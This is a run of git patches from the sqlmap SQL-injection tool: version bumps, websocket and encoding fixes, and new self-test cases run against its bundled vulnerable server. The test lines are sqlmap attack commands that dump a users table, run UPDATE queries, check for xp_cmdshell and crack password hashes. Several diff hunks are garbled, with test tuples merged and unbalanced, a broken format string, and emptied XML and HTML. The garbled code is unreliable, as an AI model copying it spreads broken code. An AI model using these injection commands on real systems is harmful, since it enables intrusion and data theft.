"1.3.11.111" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 8da1bdd47..9606fc66a 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -67,24 +67,24 @@ def vulnTest(): TESTS = ( ("--list-tampers", ("between", "MySQL", "xforwardedfor")), ("-r --flush-session", ("CloudFlare", "possible DBMS: 'SQLite'")), - ("-l --flush-session --skip-waf -v 3 --technique=U --union-from=users --banner --parse-errors", ("banner: '3", "ORDER BY term out of range", "~xp_cmdshell")), - ("-l --offline --banner -v 5", ("banner: '3", "~[TRAFFIC OUT]")), - ("-u --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3")), - ("-u --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3")), - ("-u --flush-session --data='' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: --flush-session --skip-waf -v 3 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell")), + ("-l --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")), + ("-u --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")), + ("-u --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")), + ("-u --flush-session --data='' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")), ("-u --flush-session -H 'id: 1*' --tables", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), - ("-u --flush-session --banner --invalid-logical --technique=B --test-filter='OR boolean' --tamper=space2dash", ("banner: '3", " LIKE ")), + ("-u --flush-session --banner --invalid-logical --technique=B --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")), ("-u --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), - ("-u --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3")), + ("-u --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")), ("-u --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")), - ("-u --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")), + ("-u --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")), ("-u --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")), ("-u '&echo=foobar*' --flush-session", ("might be vulnerable to cross-site scripting",)), - ("-u '&query=*' --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3")), + ("-u '&query=*' --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d --flush-session --dump -T users --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)",)), - ("-d --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "[*] 987654321",)), + ("-d --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "[*] 987654321",)), ) retVal = True From 1bfb9efb91aae37d689dbef41b0d4ae090fd218c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 28 Nov 2019 13:41:02 +0100 Subject: [PATCH 014/159] Minor patch --- lib/core/settings.py | 2 +- lib/utils/deps.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 939cee8e7..6670291c9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.111" +VERSION = "1.3.11.112" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/deps.py b/lib/utils/deps.py index aec75c9cb..3df3e11e0 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -81,7 +81,7 @@ def checkDependencies(): missing_libraries.add('python-ntlm') try: - __import__("websocket.ABNF") + __import__("websocket._abnf") debugMsg = "'websocket-client' library is found" logger.debug(debugMsg) except ImportError: From c028fb900385b06951f2aa1354b671a1a54a2d0c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 28 Nov 2019 13:53:47 +0100 Subject: [PATCH 015/159] Patch for websocket (with multiple recv requirement) --- lib/core/option.py | 1 + lib/core/settings.py | 5 ++++- lib/request/connect.py | 20 ++++++++++++++++++-- 3 files changed, 23 insertions(+), 3 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 7d11c809f..bc7e8572e 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2006,6 +2006,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.uChar = NULL kb.udfFail = False kb.unionDuplicates = False + kb.webSocketRecvCount = None kb.wizardMode = False kb.xpCmdshellAvailable = False diff --git a/lib/core/settings.py b/lib/core/settings.py index 6670291c9..07f78bb7d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.112" +VERSION = "1.3.11.113" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -232,6 +232,9 @@ STDIN_PIPE_DASH = '-' # URL used in dummy runs DUMMY_URL = "http://foo/bar?id=1" +# Timeout used during initial websocket (pull) testing +WEBSOCKET_INITIAL_TIMEOUT = 3 + # The name of the operating system dependent module imported. The following names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce', 'java', 'riscos' PLATFORM = os.name PYVERSION = sys.version.split()[0] diff --git a/lib/request/connect.py b/lib/request/connect.py index 649fe5fc8..f8bed48a6 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -119,6 +119,7 @@ from lib.core.settings import UNENCODED_ORIGINAL_VALUE from lib.core.settings import UNICODE_ENCODING from lib.core.settings import URI_HTTP_HEADER from lib.core.settings import WARN_TIME_STDEV +from lib.core.settings import WEBSOCKET_INITIAL_TIMEOUT from lib.request.basic import decodePage from lib.request.basic import forgeHeaders from lib.request.basic import processResponse @@ -451,10 +452,25 @@ class Connect(object): if webSocket: ws = websocket.WebSocket() - ws.settimeout(timeout) + ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout) ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie) # WebSocket will add Host field of headers automatically ws.send(urldecode(post or "")) - page = ws.recv() + + _page = [] + + if kb.webSocketRecvCount is None: + while True: + try: + _page.append(ws.recv()) + except websocket.WebSocketTimeoutException: + kb.webSocketRecvCount = len(_page) + break + else: + for i in xrange(max(1, kb.webSocketRecvCount)): + _page.append(ws.recv()) + + page = "\n".join(_page) + ws.close() code = ws.status status = _http_client.responses[code] From fddc81876441d4f9c0b2d6338679467a495557ee Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 29 Nov 2019 22:03:16 +0100 Subject: [PATCH 016/159] New tests --- lib/core/settings.py | 2 +- lib/core/testing.py | 7 ++++--- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 07f78bb7d..16320f006 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.113" +VERSION = "1.3.11.114" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 9606fc66a..de1764c0a 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -66,12 +66,12 @@ def vulnTest(): TESTS = ( ("--list-tampers", ("between", "MySQL", "xforwardedfor")), - ("-r --flush-session", ("CloudFlare", "possible DBMS: 'SQLite'")), + ("-r --flush-session -v 5", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")), ("-l --flush-session --skip-waf -v 3 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell")), ("-l --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")), ("-u --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")), ("-u --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")), - ("-u --flush-session --data='' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")), ("-u --flush-session -H 'id: 1*' --tables", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), ("-u --flush-session --banner --invalid-logical --technique=B --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")), @@ -79,6 +79,7 @@ def vulnTest(): ("-u --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")), ("-u --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")), ("-u --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")), + ("-u --technique=U --fresh-queries --force-partial --dump -T users --answer=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary")), ("-u --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")), ("-u '&echo=foobar*' --flush-session", ("might be vulnerable to cross-site scripting",)), @@ -120,7 +121,7 @@ def vulnTest(): handle, log = tempfile.mkstemp(suffix=".log") os.close(handle) - content = "POST / HTTP/1.0\nHost: %s:%s\n\nid=1\n" % (address, port) + content = "POST / HTTP/1.0\nUser-agent: foobar\nHost: %s:%s\n\nid=1\n" % (address, port) open(request, "w+").write(content) open(log, "w+").write('%d' % (port, encodeBase64(content, binary=False))) From c1f98d07c1ab1b20e282d6fcbd3b764aca9d6a8a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 30 Nov 2019 04:42:38 +0100 Subject: [PATCH 017/159] Couple of important patches --- data/xml/queries.xml | 6 +++++- extra/vulnserver/vulnserver.py | 6 ++++-- lib/core/common.py | 8 ++++++-- lib/core/settings.py | 2 +- lib/core/testing.py | 2 ++ plugins/generic/syntax.py | 4 +++- 6 files changed, 21 insertions(+), 7 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 7a8592438..d2ac995be 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -3,7 +3,8 @@ - + + @@ -242,6 +243,9 @@ + diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 401d77c47..d1f954b1f 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -16,7 +16,9 @@ import sys import threading import traceback -if sys.version_info >= (3, 0): +PY3 = sys.version_info >= (3, 0) + +if PY3: from http.client import INTERNAL_SERVER_ERROR from http.client import NOT_FOUND from http.client import OK @@ -169,7 +171,7 @@ class ReqHandler(BaseHTTPRequestHandler): self.end_headers() else: self.end_headers() - self.wfile.write(output.encode("utf8")) + self.wfile.write(output.encode("utf8") if PY3 else output) else: self.send_response(NOT_FOUND) self.send_header("Connection", "close") diff --git a/lib/core/common.py b/lib/core/common.py index eb3e86730..944c208c3 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3617,16 +3617,20 @@ def decodeIntToUnicode(value): try: if value > 255: _ = "%x" % value + if len(_) % 2 == 1: _ = "0%s" % _ + raw = decodeHex(_) if Backend.isDbms(DBMS.MYSQL): + # Reference: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_ord # Note: https://github.com/sqlmapproject/sqlmap/issues/1531 retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING) elif Backend.isDbms(DBMS.MSSQL): - retVal = getUnicode(raw, "UTF-16-BE") # References: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478 - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE): + # Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478 + retVal = getUnicode(raw, "UTF-16-BE") + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/) retVal = _unichr(value) else: retVal = getUnicode(raw, conf.encoding) diff --git a/lib/core/settings.py b/lib/core/settings.py index 16320f006..032854bc6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.114" +VERSION = "1.3.11.115" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index de1764c0a..db1c8712a 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -65,6 +65,8 @@ def vulnTest(): """ TESTS = ( + (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'",)), + (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape", (u": '\u0161u\u0107uraj'",)), ("--list-tampers", ("between", "MySQL", "xforwardedfor")), ("-r --flush-session -v 5", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")), ("-l --flush-session --skip-waf -v 3 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell")), diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index fcbaf4adc..5a5b1e0e1 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -7,8 +7,10 @@ See the file 'LICENSE' for copying permission import re +from lib.core.common import Backend from lib.core.convert import getBytes from lib.core.data import conf +from lib.core.enums import DBMS from lib.core.exception import SqlmapUndefinedMethod class Syntax(object): @@ -31,7 +33,7 @@ class Syntax(object): if replacement != original: retVal = retVal.replace(item, replacement) - elif len(original) != len(getBytes(original)) and "n'%s'" % original not in retVal: + elif len(original) != len(getBytes(original)) and "n'%s'" % original not in retVal and Backend.getDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.ORACLE, DBMS.MSSQL): retVal = retVal.replace("'%s'" % original, "n'%s'" % original) else: retVal = escaper(expression) From 04ce6ba91b7d772d1496f5f79c0d6d219dd3c702 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 30 Nov 2019 11:14:41 +0100 Subject: [PATCH 018/159] Minor patch --- extra/vulnserver/vulnserver.py | 9 +++++---- lib/core/settings.py | 2 +- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index d1f954b1f..22fc1df1c 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -17,6 +17,7 @@ import threading import traceback PY3 = sys.version_info >= (3, 0) +UNICODE_ENCODING = "utf-8" if PY3: from http.client import INTERNAL_SERVER_ERROR @@ -96,7 +97,7 @@ class ReqHandler(BaseHTTPRequestHandler): self.send_response(INTERNAL_SERVER_ERROR) self.send_header("Connection", "close") self.end_headers() - self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode("utf8")) + self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode(UNICODE_ENCODING)) return if hasattr(self, "data"): @@ -127,7 +128,7 @@ class ReqHandler(BaseHTTPRequestHandler): if not any(_ in self.params for _ in ("id", "query")): self.send_response(OK) - self.send_header("Content-type", "text/html") + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) self.send_header("Connection", "close") self.end_headers() self.wfile.write(b"

GET:

link


POST:

ID:

") @@ -171,7 +172,7 @@ class ReqHandler(BaseHTTPRequestHandler): self.end_headers() else: self.end_headers() - self.wfile.write(output.encode("utf8") if PY3 else output) + self.wfile.write(quote(output if isinstance(output, bytes) else output.encode(UNICODE_ENCODING))) else: self.send_response(NOT_FOUND) self.send_header("Connection", "close") @@ -190,7 +191,7 @@ class ReqHandler(BaseHTTPRequestHandler): length = int(self.headers.get("Content-length", 0)) if length: data = self.rfile.read(length) - data = unquote_plus(data.decode("utf8")) + data = unquote_plus(data.decode(UNICODE_ENCODING)) self.data = data self.do_REQUEST() diff --git a/lib/core/settings.py b/lib/core/settings.py index 032854bc6..218b8ab73 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.115" +VERSION = "1.3.11.116" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 1233573df175e45963a2d6469e5db9f3ee45dc8c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 30 Nov 2019 11:25:38 +0100 Subject: [PATCH 019/159] Removing leftover --- extra/vulnserver/vulnserver.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 22fc1df1c..3e2345076 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -172,7 +172,7 @@ class ReqHandler(BaseHTTPRequestHandler): self.end_headers() else: self.end_headers() - self.wfile.write(quote(output if isinstance(output, bytes) else output.encode(UNICODE_ENCODING))) + self.wfile.write(output if isinstance(output, bytes) else output.encode(UNICODE_ENCODING)) else: self.send_response(NOT_FOUND) self.send_header("Connection", "close") diff --git a/lib/core/settings.py b/lib/core/settings.py index 218b8ab73..9fa6825f4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.116" +VERSION = "1.3.11.117" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From f947c5f76e939415724da47142e3dadb47ac9b00 Mon Sep 17 00:00:00 2001 From: raimundmuc Date: Sat, 30 Nov 2019 22:48:34 +0100 Subject: [PATCH 020/159] Fix regression introduced by b3cdec5 (#4022) --- plugins/dbms/postgresql/filesystem.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index 41d5ebb3d..d21ebf1ec 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -32,7 +32,7 @@ class Filesystem(GenericFilesystem): return self.udfEvalCmd(cmd=remoteFile, udfName="sys_fileread") - def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + def unionWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "PostgreSQL does not support file upload with UNION " errMsg += "query SQL injection technique" raise SqlmapUnsupportedFeatureException(errMsg) From 20d875a8cea906c0cb94b180d7a3557520cc4057 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 30 Nov 2019 23:10:20 +0100 Subject: [PATCH 021/159] Fixes #4020 --- lib/controller/checks.py | 3 ++- lib/core/common.py | 2 +- lib/core/convert.py | 7 ++++++- lib/core/settings.py | 2 +- 4 files changed, 10 insertions(+), 4 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 02d8989ed..fab3f29e9 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -45,6 +45,7 @@ from lib.core.common import unArrayizeValue from lib.core.common import wasLastResponseDBMSError from lib.core.common import wasLastResponseHTTPError from lib.core.compat import xrange +from lib.core.convert import getBytes from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb @@ -788,7 +789,7 @@ def checkSqlInjection(place, parameter, value): logger.info(infoMsg) try: - process = subprocess.Popen(conf.alert.encode(sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True) + process = subprocess.Popen(getBytes(conf.alert, sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True) process.wait() except Exception as ex: errMsg = "error occurred while executing '%s' ('%s')" % (conf.alert, getSafeExString(ex)) diff --git a/lib/core/common.py b/lib/core/common.py index 944c208c3..7f08066a5 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1970,7 +1970,7 @@ def safeFilepathEncode(filepath): retVal = filepath if filepath and six.PY2 and isinstance(filepath, six.text_type): - retVal = filepath.encode(sys.getfilesystemencoding() or UNICODE_ENCODING) + retVal = getBytes(filepath, sys.getfilesystemencoding() or UNICODE_ENCODING) return retVal diff --git a/lib/core/convert.py b/lib/core/convert.py index 51e7d7b85..1655d3d43 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -231,6 +231,11 @@ def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True): retVal = value + try: + codecs.lookup(encoding) + except LookupError: + encoding = UNICODE_ENCODING + if isinstance(value, six.text_type): if INVALID_UNICODE_PRIVATE_AREA: if unsafe: @@ -391,4 +396,4 @@ def getConsoleLength(value): else: retVal = len(value) - return retVal \ No newline at end of file + return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index 9fa6825f4..c49b5d5b2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.117" +VERSION = "1.3.11.118" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 948903f23269f6ecc4cc46188655401091a53119 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 2 Dec 2019 10:10:58 +0100 Subject: [PATCH 022/159] Fixes #4024 --- lib/core/convert.py | 5 +++++ lib/core/dump.py | 5 +++-- lib/core/settings.py | 2 +- 3 files changed, 9 insertions(+), 3 deletions(-) diff --git a/lib/core/convert.py b/lib/core/convert.py index 1655d3d43..9551a5e43 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -31,6 +31,11 @@ from lib.core.settings import UNICODE_ENCODING from thirdparty import six from thirdparty.six import unichr as _unichr +try: + from html import escape as htmlEscape +except ImportError: + from cgi import escape as htmlEscape + def base64pickle(value): """ Serializes (with pickle) and encodes to Base64 format supplied (binary) value diff --git a/lib/core/dump.py b/lib/core/dump.py index c9c06f672..69ccd29a3 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -31,6 +31,7 @@ from lib.core.convert import getBytes from lib.core.convert import getConsoleLength from lib.core.convert import getText from lib.core.convert import getUnicode +from lib.core.convert import htmlEscape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -557,7 +558,7 @@ class Dump(object): else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: - dataToDumpFile(dumpFP, "%s" % getUnicode(cgi.escape(column).encode("ascii", "xmlcharrefreplace"))) + dataToDumpFile(dumpFP, "%s" % getUnicode(htmlEscape(column).encode("ascii", "xmlcharrefreplace"))) field += 1 @@ -629,7 +630,7 @@ class Dump(object): else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: - dataToDumpFile(dumpFP, "%s" % getUnicode(cgi.escape(value).encode("ascii", "xmlcharrefreplace"))) + dataToDumpFile(dumpFP, "%s" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace"))) field += 1 diff --git a/lib/core/settings.py b/lib/core/settings.py index c49b5d5b2..9544dc4cc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.118" +VERSION = "1.3.12.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From f7a237fdee8b9b2dbdc8233f186989ed4d1bcdf6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 3 Dec 2019 23:30:28 +0100 Subject: [PATCH 023/159] Adding basic functionality to a hidden feature --- lib/core/gui.py | 83 ++++++++++++++++++++++++-------------------- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 5 +-- 3 files changed, 50 insertions(+), 40 deletions(-) diff --git a/lib/core/gui.py b/lib/core/gui.py index bfb34326d..66ad80744 100644 --- a/lib/core/gui.py +++ b/lib/core/gui.py @@ -5,17 +5,23 @@ Copyright (c) 2006-2019 sqlmap developers 